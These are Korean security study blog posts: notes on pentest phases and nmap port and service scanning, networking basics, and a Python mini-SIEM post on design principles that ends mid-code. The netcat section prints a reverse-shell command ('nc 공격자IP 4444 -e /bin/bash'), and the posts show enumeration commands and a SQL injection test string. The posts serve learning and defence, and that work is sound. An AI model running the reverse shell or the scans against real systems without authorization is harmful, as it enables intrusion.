공격자의 눈으로 보지 않으면, 방어자의 눈도 흐려진다.

2026.03.18 학습 내용 정리 — 모의해킹 단계, 정보수집 마인드셋, 포트 스캐닝, 서비스 스캐닝

목차

1. 모의해킹이란?
2. 모의해킹 단계
3. 정보수집이란?
4. 포트 스캐닝
5. 네트워크 서비스 스캐닝
6. 정리 요약

1. 모의해킹이란?

모의해킹(Penetration Testing, Pentest)은 실제 공격자의 시각으로 시스템, 네트워크, 애플리케이션의 취약점을 사전에 발견하고 보고하는 보안 테스트이다.

실제 해킹과의 차이는 단 하나, 허가(Authorization) 여부다. 모의해킹은 반드시 대상 시스템의 소유자로부터 명시적인 허가를 받은 후 진행해야 한다.

허가 없는 모의해킹은 불법이다. 반드시 허가된 환경(CTF, 개인 랩, 계약된 대상)에서만 진행할 것.

2. 모의해킹 단계

모의해킹은 일반적으로 아래 단계로 진행된다.

1. 정보수집 (Reconnaissance)
       ↓
2. 스캐닝 (Scanning)
       ↓
3. 취약점 분석 (Vulnerability Analysis)
       ↓
4. 익스플로잇 (Exploitation)
       ↓
5. 권한 상승 & 내부 이동 (Post-Exploitation)
       ↓
6. 보고서 작성 (Reporting)

1단계 — 정보수집 (Reconnaissance)

대상에 대한 최대한 많은 정보를 수집하는 단계. 공격의 방향과 범위를 결정한다.

• 수동 정보수집(Passive): 대상 시스템에 직접 접근하지 않고 공개된 정보를 수집 (OSINT, WHOIS, DNS 조회 등)
• 능동 정보수집(Active): 대상 시스템에 직접 패킷을 보내며 정보를 수집 (포트 스캐닝, 서비스 스캐닝 등)

2단계 — 스캐닝 (Scanning)

수집한 정보를 바탕으로 열린 포트, 실행 중인 서비스, 운영체제 등을 식별하는 단계. 취약점 분석의 기반이 된다.

3단계 — 취약점 분석 (Vulnerability Analysis)

스캐닝 결과를 토대로 실제로 익스플로잇 가능한 취약점을 식별하는 단계. CVE 데이터베이스, 취약점 스캐너(Nessus, OpenVAS 등)를 활용한다.

4단계 — 익스플로잇 (Exploitation)

발견한 취약점을 실제로 공격하여 시스템 접근 권한을 획득하는 단계. Metasploit, 커스텀 익스플로잇 코드 등을 사용한다.

5단계 — 권한 상승 & 내부 이동 (Post-Exploitation)

획득한 접근 권한을 바탕으로 더 높은 권한을 획득하거나 내부 네트워크로 이동하는 단계.

• 권한 상승 (Privilege Escalation): 일반 유저 → 관리자(root) 권한 획득
• 내부 이동 (Lateral Movement): 다른 내부 시스템으로 이동

6단계 — 보고서 작성 (Reporting)

발견한 취약점, 공격 경로, 위험도, 개선 방안을 문서화하는 단계. 모의해킹의 최종 산출물이며, 실무에서 가장 중요한 단계 중 하나다.

3. 정보수집이란?

정보수집(Reconnaissance)은 모의해킹의 첫 번째이자 가장 중요한 단계다.

아무리 강력한 익스플로잇 기술을 갖고 있어도, 대상에 대한 정보가 없으면 공격의 방향을 잡을 수 없다. 반대로 정보수집이 탄탄할수록 이후 단계가 훨씬 효율적으로 진행된다.

정보수집 시 마인드셋

정보수집을 시작하기 전, 아래 세 가지 질문을 항상 먼저 던져야 한다.

목적 없이 정보를 긁어모으는 것은 시간 낭비다. 목표를 먼저 정하고, 그 목표에 맞는 정보를 수집하는 것이 핵심이다.

정보수집 대상

4. 포트 스캐닝

서버란?

본격적인 스캐닝에 앞서, 우리가 스캔하는 대상인 서버를 먼저 이해해야 한다.

서버(Server): 어떠한 서비스를 제공하는 컴퓨터

하나의 서버에서 Web, DB, Monitoring 등 다양한 기능을 동시에 제공할 수 있다. 포트 스캐닝은 그 서버에서 어떤 서비스가 어떤 포트에서 실행 중인지를 파악하는 작업이다.

TCP 포트 스캐닝

TCP 포트 스캐닝은 TCP 3-way Handshake 과정을 이용해 포트 상태를 확인하는 방법이다.

TCP 3-way Handshake 복습

클라이언트 ──SYN──────────────→ 서버
클라이언트 ←──SYN + ACK──────── 서버
클라이언트 ──ACK──────────────→ 서버
           [연결 수립 완료]

TCP 포트 스캐닝에는 크게 두 가지 방법이 있다.

Connect 스캔 (-sT)

TCP 3-way Handshake를 완전히 수행하여 포트 상태를 확인하는 방법이다.

nmap -sT <target_ip>

스캐너 ──SYN──→ 서버
스캐너 ←──SYN+ACK── 서버   # 포트 열림
스캐너 ──ACK──→ 서버
스캐너 ──RST──→ 서버       # 연결 즉시 종료

• 장점: root 권한 불필요, 안정적
• 단점: 완전한 연결이 수립되므로 서버 로그에 기록됨 → 탐지 가능성 높음

SYN 스캔 (-sS, 스텔스 스캔)

TCP 3-way Handshake를 절반만 수행하여 포트 상태를 확인하는 방법이다.

sudo nmap -sS <target_ip>

스캐너 ──SYN──→ 서버
스캐너 ←──SYN+ACK── 서버   # 포트 열림 확인
스캐너 ──RST──→ 서버       # ACK 대신 RST로 연결 강제 종료

• 장점: 완전한 연결을 맺지 않아 로그에 기록되지 않는 경우가 많음, Connect 스캔보다 빠름
• 단점: root(관리자) 권한 필요

UDP 포트 스캐닝

UDP는 연결 지향 프로토콜이 아니기 때문에 대량의 UDP 페이로드를 전송하여 포트 상태를 확인하는 방식으로 스캔한다.

sudo nmap -sU <target_ip>

• 열린 포트: 응답 없음 또는 UDP 응답
• 닫힌 포트: ICMP Port Unreachable 메시지 반환
• TCP 스캔보다 훨씬 느림

nmap 실전 사용법

기본 명령어

sudo nmap -p 22 <target_ip>

위 명령어는 가장 기본적인 nmap 명령어로, 타겟 IP의 특정 포트가 열려 있는지, 서버가 살아있는지를 확인한다.

이 명령어를 실행하면 nmap은 먼저 서버가 살아있는지를 확인하기 위해 아래 세 가지에 요청을 보낸다.

• ICMP Echo Request (ping)
• 80번 포트 (HTTP)
• 443번 포트 (HTTPS)

문제 발생 상황

DB 전용 서버이거나, 보안상의 이유로 아래와 같은 설정이 된 경우:

• ICMP를 차단한 경우
• 80, 443 포트를 닫아놓은 경우

nmap이 서버가 죽었다고 판단하여 포트 스캐닝을 진행하지 않는 문제가 발생한다.

해결 방법: -Pn 옵션

sudo nmap -p 22 -Pn <target_ip>

-Pn 옵션은 호스트 생존 여부 확인(ping) 단계를 건너뛰고 바로 포트 스캐닝을 진행하도록 강제한다.

포트 스캐닝 주요 옵션 정리

nmap -sS <ip>              # SYN 스캔 (스텔스)
nmap -sT <ip>              # Connect 스캔
nmap -sU <ip>              # UDP 스캔
nmap -sV <ip>              # 서비스 버전 탐지
nmap -O  <ip>              # OS 탐지
nmap -p 1-1000 <ip>        # 포트 범위 지정
nmap -p- <ip>              # 전체 포트(1-65535) 스캔
nmap -Pn <ip>              # 호스트 생존 확인 생략
nmap -A  <ip>              # 종합 스캔 (OS, 버전, 스크립트 등)
nmap -sC <ip>              # 기본 스크립트 실행
nmap --open <ip>           # 열린 포트만 출력

포트 스캐닝 주의사항 — SYN 스캔과 DoS

SYN 스캔을 너무 빠른 속도로 진행하거나, 불완전하게 구현된 스캐너를 사용할 경우 의도치 않게 DoS 공격(서비스 거부 공격) 으로 이어질 수 있다.

왜 DoS가 발생하는가?

1. 스캐너가 SYN 패킷을 전송
2. 서버는 SYN+ACK로 응답하며 연결을 절반 열어둠 (Half-opened TCP)
3. 스캐너가 RST를 보내지 않음 (불완전한 구현)
4. 서버는 ACK 패킷이 올 때까지 해당 연결을 열어두고 대기
5. 네트워크 장비(라우터, 방화벽)가 Half-opened 연결을 모니터링/로깅
6. 이 과정이 대량으로 반복되면 서버 및 네트워크 장비의 자원 고갈

모의해킹 계약 시 스캔 속도와 범위를 사전에 조율하는 것이 중요하다. 의도치 않은 서비스 중단은 법적 문제로 이어질 수 있다.

5. 네트워크 서비스 스캐닝

포트가 열려 있다는 것만으로는 부족하다. 그 포트에서 어떤 서비스가, 어떤 버전으로 실행 중인지 알아야 실질적인 취약점 분석이 가능하다.

SYN 스캔(-sS)만으로는 서비스 정보를 알 수 없기 때문에, 서비스 스캐닝을 별도로 진행해야 한다. (-sV 옵션 사용)

Banner Grabbing (배너 그래빙)

TCP 3-way Handshake가 완료된 후, 네트워크 서비스가 자동으로 전송하는 배너를 수신하여 서비스 이름 및 버전을 파악하는 방법이다.

네트워크 서비스는 기본적으로 접속하는 클라이언트에게 배너를 전송한다. 이 배너에는 서비스 이름, 버전, 공지사항 등이 포함된다.

# FTP 배너 그래빙 예시
ftp 172.31.183.197

Connected to 172.31.183.197.
220 (vsFTPd 3.0.3)         # ← 서비스명: vsFTPd, 버전: 3.0.3

# nc를 이용한 배너 그래빙
nc 192.168.1.1 80
HEAD / HTTP/1.0

# 또는
echo "" | nc -w1 192.168.1.1 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5    # ← SSH 버전 확인

배너 그래빙의 한계

모든 서비스가 배너를 전송하는 것은 아니다.

보안이 잘 된 시스템일수록 배너를 숨기거나, 버전 정보를 제거하거나, 가짜 정보를 노출하는 경우가 많다.

Probing (프로빙)

배너 그래빙이 서비스가 주는 정보를 수동적으로 수신하는 방식이라면, 프로빙은 능동적으로 테스트 패킷(프로브)을 전송하여 서비스의 반응을 분석하는 방식이다.

nmap의 경우, 수천 개의 프로브와 규칙이 /usr/share/nmap/nmap-service-probes 파일에 정의되어 있다.

# nmap 프로브 파일 예시 (웹 서버 대상)

# 프로브 - HTTP GET 요청 전송
Probe TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|

# 규칙 - 반응에 따라 서비스 식별
match ajp13 m|^AB\0\x13\x04\x01\x90...| p/Apache Jserv/
match athinfod m|^athinfod: invalid query| p/Athena/
match automateTaskSvc m|\x031[\w+/]{54}nXAvc01KqG| p/AutoMate Task Service/ v/9/

동작 원리

1. nmap이 프로브(GET / HTTP/1.0)를 서비스로 전송
2. 서비스가 응답 반환
3. 응답 데이터를 수천 개의 규칙과 비교
4. 일치하는 규칙이 있으면 서비스명/버전 식별

배너 그래빙 vs 프로빙 비교

Network Service Footprinting & Enumeration

Footprinting (풋프린팅)

대상 시스템과 네트워크에 대한 전반적인 정보를 수집하는 과정 전체를 의미한다. 정보수집의 큰 범주로, 아래 항목들을 포함한다.

• IP 대역 및 네트워크 구조
• 도메인 및 DNS 정보
• 운영체제 및 서비스 버전
• 조직 정보 (WHOIS, 직원 정보)

Enumeration (열거)

풋프린팅보다 더 깊은 수준에서 구체적인 리소스 목록을 추출하는 과정이다.

• 사용자 계정 목록
• 공유 폴더 및 파일
• 네트워크 서비스 상세 정보
• 라우팅 테이블, SNMP 정보

# SMB 열거 예시
enum4linux -a 192.168.1.1

# SNMP 열거
snmpwalk -c public -v1 192.168.1.1

# DNS 열거
dnsrecon -d target.com -t axfr

6. 정리 요약

주의사항: 본 내용은 학습 및 방어 목적으로 정리된 내용입니다. 실습은 반드시 허가된 환경(CTF, 개인 랩)에서만 진행하세요.

끝으로, 이번 포스팅을 정리하면서 단순히 "포트가 열려있다"는 사실 하나를 확인하기 위해서도 이렇게 많은 개념과 고려사항이 있다는 걸 새삼 느꼈다.

정보수집은 모의해킹의 첫 단계지만, 어떻게 보면 가장 중요한 단계이기도 하다. 여기서 얼마나 세세하게 정보를 모으느냐가 이후 모든 단계의 질을 결정한다고 생각한다.

또 이번 학습은 실습을 병행했는데, 실습을 하면서 학교에서 배웠던 기억들이 새록새록 떠올랐고 그때는 몰랐던 실무적인 맥락이 이제서야 조금씩 보는것 같다. 흩어져 있던 기초들이 모여 하나의 큰 그림이 되어가는 것 같다.

앞으로 더 증진해 내가 목표하는 바를 이루고자 한다.

보안을 전공했지만, 정작 보안을 가장 멀리했던 사람이 나였다.

첫 직장은 데이터 분석 회사였다.

그곳에서 데이터 분석에 흥미를 느꼈고, 더 나아가 AI에 관심이 생겼다. 전공이 보안이었지만 데이터 분석과 AI 분야의 공부를 더 많이 했었다. 그게 지금까지 이어져 현업에서 AI 엔지니어링과 데이터 엔지니어링을 하고 있다.

그러면서 느낀 것이 있다.

AI 시대에서 모델보다 데이터가 먼저다.

아무리 좋은 모델도 데이터가 오염되거나 탈취되면 의미가 없다. 실무에서, 그리고 사회 곳곳에서 터지는 크고 작은 보안 이슈들을 보면서 데이터를 지키지 못하면 그 피해는 고스란히 회사의 손해, 개인의 손해까지도 갈 수 있다는 것을 느꼈다.

보안은 이제 선택이 아닌 필수다.

전공으로 시작했지만 한동안 멀어졌던 그 길로, 다시 여정을 시작하려 한다.

2026.02.23 학습 내용 정리 — 네트워크 기본 개념부터 관련 명령어 및 OSI 7 Layer

목차

1. 네트워크 기본 용어
2. 네트워크 명령어
3. OSI 7 Layer
4. OSI 7 Layer 별 프로토콜 및 공격 벡터
5. Windows 관련 개념

1. 네트워크 기본 용어

네트워크 (Network)

여러 컴퓨터 및 기타 디지털 장치들이 연결되어 정보를 공유할 수 있는 구조이다. 크게 LAN(Local Area Network), WAN(Wide Area Network)으로 나뉜다.

IP 주소 (IP Address)

인터넷 프로토콜(IP)에서 각 호스트가 네트워크 상에서 식별되기 위해 할당된 고유 주소이다.

IP 주소 클래스 (IPv4 기준)

사설(Private) IP 대역

사설 IP는 외부 인터넷과 직접 통신 불가 → NAT(Network Address Translation)를 통해 공인 IP로 변환 후 통신

서브넷 / 서브넷 마스크 (Subnet / Subnet Mask)

네트워크를 더 작은 단위로 분할한 네트워크 영역이다. 서브넷 마스크는 IP 주소에서 네트워크 부분과 호스트 부분을 구분하는 역할을 한다.

IP 주소:      192.168.1.10
서브넷 마스크: 255.255.255.0  (/24)
네트워크:     192.168.1.0
호스트 범위:  192.168.1.1 ~ 192.168.1.254
브로드캐스트: 192.168.1.255

CIDR 표기법: /24 = 앞에서 24비트가 네트워크 주소를 의미

게이트웨이 (Gateway)

서로 다른 네트워크/서브넷 사이의 통신을 가능하게 하는 장치 또는 소프트웨어이다.

• 같은 서브넷 내 → 게이트웨이 없이 직접 통신 가능
• 다른 서브넷 간 → 반드시 게이트웨이(주로 라우터)를 거쳐야 통신 가능

[192.168.1.10] ──────→ [Gateway: 192.168.1.1] ──────→ [8.8.8.8 (Google DNS)]
     내부 PC                   공유기/라우터                외부 인터넷

포트 (Port)

운영체제 상의 프로세스를 네트워크로 접근하기 위해 매핑되는 번호 (0 ~ 65535).

주요 포트 번호

로컬호스트 (Localhost)

자신의 컴퓨터를 나타내는 호스트 이름. IP 주소로는 127.0.0.1 (IPv4) 또는 ::1 (IPv6). 루프백(Loopback) 주소라고도 하며, 네트워크를 거치지 않고 자기 자신에게 패킷을 전송한다.

# 로컬 웹 서버 접속 예시
http://localhost:8080
http://127.0.0.1:8080

DNS (Domain Name System)

도메인 이름 ↔ IP 주소 변환을 담당하는 프로토콜이자 네트워크 서비스.

사용자: www.google.com 입력
    ↓
DNS 서버에 질의 → 142.250.196.68 반환
    ↓
해당 IP로 접속

2. 네트워크 명령어

ping

ICMP Echo Request/Reply를 이용해 대상 호스트의 생존 여부 및 응답 시간을 확인하는 명령어.

# 기본 사용
ping 8.8.8.8
ping google.com

# 횟수 지정
ping -c 4 8.8.8.8       # Linux
ping -n 4 8.8.8.8       # Windows

# 출력 예시
PING 8.8.8.8: 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=118 time=12.3 ms

netstat

네트워크 연결 상태, 포트 사용 현황, 라우팅 테이블을 확인하는 명령어.

netstat -an          # 모든 연결 및 포트 표시
netstat -tulpn       # TCP/UDP 리스닝 포트 + 프로세스 (Linux)
netstat -ano         # Windows: PID 포함 전체 출력
netstat -r           # 라우팅 테이블 확인

상태(State) 주요 값

nc (netcat)

TCP/UDP 연결을 통해 데이터를 읽고 쓰는 네트워크 도구. "스위스 군용 칼"이라 불린다.

# 서버 모드 (특정 포트 리스닝)
nc -lvnp 4444

# 클라이언트 모드 (서버에 연결)
nc 192.168.1.100 4444

# 배너 그래빙
echo "" | nc -w 1 192.168.1.1 80

# 파일 전송 (수신측)
nc -lvnp 9999 > received_file.txt

# 파일 전송 (송신측)
nc 192.168.1.100 9999 < file_to_send.txt

# 리버스 쉘 (공격 실습 환경)
# 수신 측: nc -lvnp 4444
# 송신 측: nc 공격자IP 4444 -e /bin/bash

기타 유용한 네트워크 명령어

# 도메인 → IP 조회
nslookup google.com
dig google.com

# 라우팅 경로 추적
traceroute 8.8.8.8      # Linux
tracert 8.8.8.8         # Windows

# 네트워크 인터페이스 정보
ifconfig                 # Linux (구버전)
ip addr                  # Linux (최신)
ipconfig                 # Windows

# ARP 테이블 확인
arp -a

3. OSI 7 Layer

OSI(Open Systems Interconnection) 모델은 네트워크 통신을 7개의 계층으로 추상화한 표준 모델이다.

┌─────────────────────────────────────────┐
│  7. Application   (응용 계층)            │  ← 사용자와 직접 상호작용
├─────────────────────────────────────────┤
│  6. Presentation  (표현 계층)            │  ← 데이터 인코딩/암호화
├─────────────────────────────────────────┤
│  5. Session       (세션 계층)            │  ← 연결 세션 관리
├─────────────────────────────────────────┤
│  4. Transport     (전송 계층)            │  ← 포트, 신뢰성 있는 전송
├─────────────────────────────────────────┤
│  3. Network       (네트워크 계층)         │  ← IP 주소, 라우팅
├─────────────────────────────────────────┤
│  2. Data Link     (데이터 링크 계층)      │  ← MAC 주소, 프레임
├─────────────────────────────────────────┤
│  1. Physical      (물리 계층)            │  ← 비트, 전기 신호
└─────────────────────────────────────────┘

PDU (Protocol Data Unit) - 계층별 데이터 단위

4. OSI 7 Layer 별 프로토콜 및 공격 벡터

Layer 7 — 응용 계층 (Application)

주요 공격 벡터

• SQL Injection, XSS, CSRF
• HTTP Flood (DoS)
• DNS 스푸핑 / DNS 증폭 공격
• 피싱 (Phishing)

Layer 6 — 표현 계층 (Presentation)

주요 공격 벡터

• SSL Stripping (HTTPS → HTTP 다운그레이드)
• 인코딩 우회를 통한 필터 회피

Layer 5 — 세션 계층 (Session)

주요 공격 벡터

• 세션 하이재킹 (Session Hijacking)
• 세션 고정 공격 (Session Fixation)

Layer 4 — 전송 계층 (Transport)

TCP 3-Way Handshake

클라이언트 ──SYN──────────────→ 서버
클라이언트 ←──SYN+ACK───────── 서버
클라이언트 ──ACK──────────────→ 서버
           [연결 수립]

주요 공격 벡터

• SYN Flood: SYN 패킷만 대량 전송하여 서버 자원 고갈
• UDP Flood: UDP 패킷 대량 전송
• 포트 스캐닝

Layer 3 — 네트워크 계층 (Network)

주요 공격 벡터

• IP 스푸핑
• ICMP Flood (Ping of Death, Smurf Attack)
• 라우팅 테이블 조작

Layer 2 — 데이터 링크 계층 (Data Link)

주요 공격 벡터

• ARP 스푸핑: ARP 테이블 오염으로 MAC 주소 위조 → MITM 공격 가능
• MAC Flooding: 스위치의 MAC 주소 테이블 포화
• VLAN 호핑

Layer 1 — 물리 계층 (Physical)

주요 공격 벡터

• 도청(탭핑): 물리적으로 케이블에 접근하여 신호 도청
• 신호 방해(재밍): 무선 주파수 방해

5. Windows 관련 개념

윈도우 네트워크 명령어

# 네트워크 설정 확인
ipconfig
ipconfig /all           # 상세 정보

# DNS 캐시 초기화
ipconfig /flushdns

# 포트 및 연결 확인
netstat -ano
netstat -ano | findstr :80   # 80 포트만 필터

# 라우팅 경로 추적
tracert 8.8.8.8

# ARP 테이블 확인
arp -a

주요 윈도우 보안 개념

정리 요약

끝으로, 오랜만에 보안 공부를 해보니 이전에 학부에서 공부했던게 새록새록 떠올라 신기했다. 새로 배운 것들도 있지만, 무언가 흩어져있던 지식의 점들이 하나의 선으로 이어지는 느낌이 들었다. 앞으로 더 많은 지식의 점들을 이어나가며, 목표하는 보안 커리어를 차근차근 쌓아 가고싶다.

이 글은 "Python으로 나만의 SIEM 만들기" 시리즈의 마지막 편입니다.

• 1편: 시작편 - 30분만에 SIEM 구축하기
• 2편: MITRE ATT&CK 기반 위협 탐지 룰 구현
• 3편: FastAPI로 실시간 보안 이벤트 처리하기
• 4편: Elasticsearch로 대용량 로그 저장하고 검색하기
• [현재] 5편: 보안 설계 원칙을 코드로 구현하기

들어가며

"보안은 기능이 아니라 설계입니다."

많은 개발자들이 기능 구현 후 "보안 기능"을 추가하려 합니다.

• 로그인 기능 완성 → "보안 강화" 작업
• API 개발 완료 → "인증 추가" 작업

하지만 이것은 틀렸습니다.

보안은 처음부터 설계에 녹아들어야 합니다.

• "Secure by Design"
• "Security is not a feature, it's a mindset"

이번 글에서는 제가 Mini-SIEM을 개발하면서 적용한 5가지 보안 설계 원칙을 코드와 함께 설명합니다.

모든 원칙은 Saltzer & Schroeder의 보안 설계 원칙 (1975년 MIT 논문)을 기반으로 합니다.

보안 설계 8대 원칙

Saltzer & Schroeder (1975)

1. Economy of Mechanism (단순성)
2. Fail-Safe Defaults (안전한 기본값)
3. Complete Mediation (완전한 중재)
4. Open Design (공개 설계)
5. Separation of Privilege (권한 분리)
6. Least Privilege (최소 권한)
7. Least Common Mechanism (최소 공유 메커니즘)
8. Psychological Acceptability (심리적 수용성)

이 중 5가지를 실제 코드로 구현합니다.

1️⃣ Defense in Depth (다층 방어)

개념

"단일 방어선이 뚫려도 시스템이 안전하도록 여러 계층의 방어를 구축하라"

비유:

성 (Castle) 방어 시스템
├─ Layer 1: 해자 (Moat)
├─ Layer 2: 외벽 (Outer Wall)
├─ Layer 3: 문지기 (Gatekeeper)
├─ Layer 4: 내벽 (Inner Wall)
└─ Layer 5: 성 내부 경비 (Guards)

하나가 뚫려도 다음 방어선이 존재!

실제 침해 사례

2017년 Equifax 침해 사고

공격 경로:
1. Apache Struts 취약점 (CVE-2017-5638) ❌ 패치 미적용
2. 웹 방화벽 우회 ❌ 규칙 미설정
3. 데이터베이스 접근 ❌ 네트워크 분리 없음
4. 민감 데이터 암호화 없음 ❌ 평문 저장
5. 이상 트래픽 탐지 실패 ❌ 모니터링 부재

→ 1.43억 명 개인정보 유출

만약 다층 방어가 있었다면:

1. Struts 취약점 ❌ → 2. WAF 차단 ✅ → 공격 실패!

Mini-SIEM 구현

┌─────────────────────────────────────────────────────────┐
│ Layer 1: API 인증 (Authentication)                       │
│  - X-API-Key 헤더 검증                                   │
│  - 401/403 반환                                         │
├─────────────────────────────────────────────────────────┤
│ Layer 2: 입력 검증 (Input Validation)                    │
│  - Pydantic 타입 검증                                    │
│  - 필드 범위 검증 (count >= 1)                           │
│  - 422 Unprocessable Entity 반환                        │
├─────────────────────────────────────────────────────────┤
│ Layer 3: 위협 탐지 (Threat Detection)                    │
│  - 7가지 독립적 탐지 룰                                   │
│  - SQL Injection, Brute Force 차단                      │
├─────────────────────────────────────────────────────────┤
│ Layer 4: 로그 저장 (Audit Trail)                         │
│  - 모든 요청 로깅                                        │
│  - Elasticsearch 영구 보관                               │
├─────────────────────────────────────────────────────────┤
│ Layer 5: 실시간 알림 (Alerting)                          │
│  - Slack 즉시 통보                                       │
│  - 인시던트 자동 생성                                     │
└─────────────────────────────────────────────────────────┘

코드 구현

Layer 1: API 인증

# app/utils/auth.py
from fastapi import HTTPException, Security, status
from fastapi.security import APIKeyHeader

api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)
API_KEY = os.getenv("API_KEY")

def verify_api_key(api_key: str = Security(api_key_header)) -> str:
    """Layer 1: 인증 계층"""
    if api_key is None:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="API Key is missing"
        )

    if api_key != API_KEY:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="Invalid API Key"
        )

    return api_key

Layer 2: 입력 검증

# app/models/log.py
from pydantic import BaseModel, Field, validator

class LogEvent(BaseModel):
    """Layer 2: 입력 검증 계층"""
    event_type: str = Field(..., description="이벤트 타입")
    count: Optional[int] = Field(1, ge=1)  # 최소값 검증

    @validator('event_type')
    def validate_event_type(cls, v):
        """허용된 이벤트 타입만 통과"""
        allowed_types = [e.value for e in EventType]
        if v.lower() not in allowed_types:
            # 알 수 없는 타입은 UNKNOWN으로 처리 (거부하지 않음)
            return EventType.UNKNOWN.value
        return v.lower()

    @validator('count')
    def validate_count(cls, v):
        """비정상적으로 큰 값 차단"""
        if v > 10000:  # 한 번에 10,000회 이상은 비정상
            raise ValueError("count must be <= 10000")
        return v

Layer 3: 위협 탐지

# app/utils/detector.py
class ThreatDetector:
    """Layer 3: 위협 탐지 계층"""

    @classmethod
    def analyze(cls, log: NormalizedLog) -> NormalizedLog:
        """7가지 독립적 탐지 룰 실행"""
        threats = []

        # 각 탐지 룰이 독립적으로 동작
        # 하나가 우회되어도 다른 룰로 탐지 가능!
        detectors = [
            cls.detect_brute_force,
            cls.detect_suspicious_time_access,
            cls.detect_sql_injection,
            cls.detect_privilege_escalation,
            cls.detect_botnet_activity,
            cls.detect_malicious_ip,
            cls.detect_file_access_anomaly,
        ]

        for detector in detectors:
            is_threat, details = detector(log)
            if is_threat and details:
                threats.append(details)

        if threats:
            log.is_threat = True
            log.threat_details = " | ".join(threats)

        return log

Layer 4: 감사 추적 (Audit Trail)

# app/main.py
@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(verify_api_key)
):
    # ... 처리 ...

    # Layer 4: 모든 이벤트를 로깅 (증거 보존)
    logger.info(
        f"[EVENT] {analyzed_log.event_type.value} | "
        f"IP={analyzed_log.source_ip} | "
        f"Severity={analyzed_log.severity.value} | "
        f"Threat={analyzed_log.is_threat}"
    )

    # Elasticsearch에도 영구 저장
    # (재부팅해도 데이터 유지)

Layer 5: 실시간 알림

# Layer 5: 위협 발견 시 즉시 알림
if analyzed_log.is_threat:
    # 인시던트 생성
    incident = incident_manager.create_incident(analyzed_log)

    # Slack 알림
    alert_message = (
        f"🚨 *[{analyzed_log.severity.value.upper()}]* "
        f"Security Threat Detected\n"
        f"• *Type*: {analyzed_log.event_type.value}\n"
        f"• *Source IP*: {analyzed_log.source_ip}\n"
        f"• *Details*: {analyzed_log.threat_details}\n"
        f"• *Incident ID*: {incident.id}"
    )
    send_slack_alert(alert_message)

실전 테스트

공격 시나리오: SQL Injection 시도

# 공격자 요청
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: WRONG_KEY" \
  -d '{
    "event_type": "sql_injection",
    "source_ip": "203.0.113.50",
    "raw_log": "SELECT * FROM users WHERE id=1 OR 1=1--"
  }'

방어 과정:

Layer 1 (API 인증): ❌ FAILED
→ 403 Forbidden 반환
→ 공격 차단!

(만약 Layer 1 우회 시)
Layer 2 (입력 검증): ✅ PASS (유효한 JSON)

Layer 3 (위협 탐지): ❌ DETECTED!
→ SQL Injection 패턴 탐지
→ 인시던트 생성

Layer 4 (로그 저장): ✅ 증거 보존
→ /app/logs/app.log
→ Elasticsearch

Layer 5 (알림): ✅ Slack 즉시 알림
→ SOC 팀 인지

결과: 5개 계층 중 4개 작동 → 시스템 안전!

2️⃣ Fail-Safe Defaults (안전한 기본값)

개념

"시스템은 기본적으로 거부(Deny)하고, 명시적으로 허용(Allow)하라"

원칙:

• Deny by default, allow by exception
• 불확실하면 거부
• 오류 시 안전한 쪽으로

실제 침해 사례

2019년 Capital One 침해 사고

AWS S3 버킷 설정:
{
  "public_access": "default"  // ❌ 기본값이 공개!
}

→ 1억 명 신용카드 정보 유출

만약 Fail-Safe Defaults였다면:

{
  "public_access": "deny_all"  // ✅ 기본값 거부
}

명시적으로 허용해야만 접근 가능
→ 침해 방지!

Mini-SIEM 구현

1. API 인증 기본값

# ❌ 나쁜 예: 기본값 허용
API_KEY = os.getenv("API_KEY", None)  # None이면 인증 안 함?

def verify_api_key(api_key: str = Security(api_key_header)):
    if API_KEY is None:
        return "OK"  # ⚠️ 위험! 인증 없이 통과

# ✅ 좋은 예: 기본값 거부
API_KEY = os.getenv("API_KEY")  # 설정 안 되면 None

def verify_api_key(api_key: str = Security(api_key_header)):
    if api_key is None:
        raise HTTPException(401, "API Key missing")  # ✅ 즉시 거부

    if API_KEY is None:
        raise HTTPException(500, "Server not configured")  # ✅ 서버 설정 오류

    if api_key != API_KEY:
        raise HTTPException(403, "Invalid API Key")  # ✅ 잘못된 키 거부

    return api_key  # 모든 검증 통과해야 허용

2. 이벤트 타입 정규화

# app/models/log.py
@validator('event_type', pre=True)
def normalize_event_type(cls, v):
    """알 수 없는 타입은 UNKNOWN으로 처리"""
    if isinstance(v, str):
        try:
            return EventType(v.lower())
        except ValueError:
            # ✅ Fail-Safe: 거부하지 않고 UNKNOWN으로
            # (로그는 받되, 특별 처리)
            return EventType.UNKNOWN
    return v

설계 근거:

Option A: 알 수 없는 타입 → 거부 (422 Error)
❌ 새로운 공격 유형을 탐지 못함
❌ 로그 소스 추가 시 호환성 문제

Option B: 알 수 없는 타입 → UNKNOWN으로 수용 ✅
✅ 모든 로그 수집 (증거 보존)
✅ UNKNOWN 타입만 따로 분석 가능
✅ 유연한 확장

3. 심각도 자동 할당

# app/utils/detector.py
@staticmethod
def assign_severity(log, is_threat, threat_details) -> SeverityLevel:
    """위협 심각도 자동 할당"""

    if not is_threat:
        # ✅ Fail-Safe: 위협 아니면 무조건 INFO
        return SeverityLevel.INFO

    # Critical: SQL Injection, 악성 IP
    if log.event_type in [EventType.SQL_INJECTION, EventType.MALWARE_DETECTED]:
        return SeverityLevel.CRITICAL

    # ... (중략) ...

    # ✅ Fail-Safe: 알 수 없는 위협은 LOW (보수적)
    # (과탐 > 미탐)
    return SeverityLevel.LOW

4. 환경 변수 기본값

# ❌ 나쁜 예: 위험한 기본값
DEBUG = os.getenv("DEBUG", "True")  # 프로덕션에서 디버그 모드?!

# ✅ 좋은 예: 안전한 기본값
DEBUG = os.getenv("DEBUG", "False").lower() == "true"
ALLOW_ORIGINS = os.getenv("ALLOW_ORIGINS", "").split(",")  # 빈 리스트 (모두 차단)
MAX_REQUEST_SIZE = int(os.getenv("MAX_REQUEST_SIZE", "1048576"))  # 1MB (작게)

5. 에러 처리

# ❌ 나쁜 예: 에러 시 계속 진행
try:
    send_slack_alert(message)
except Exception:
    pass  # ⚠️ 알림 실패해도 무시? 위험!

# ✅ 좋은 예: 에러 로깅 + Fail-Safe
try:
    send_slack_alert(message)
except Exception as e:
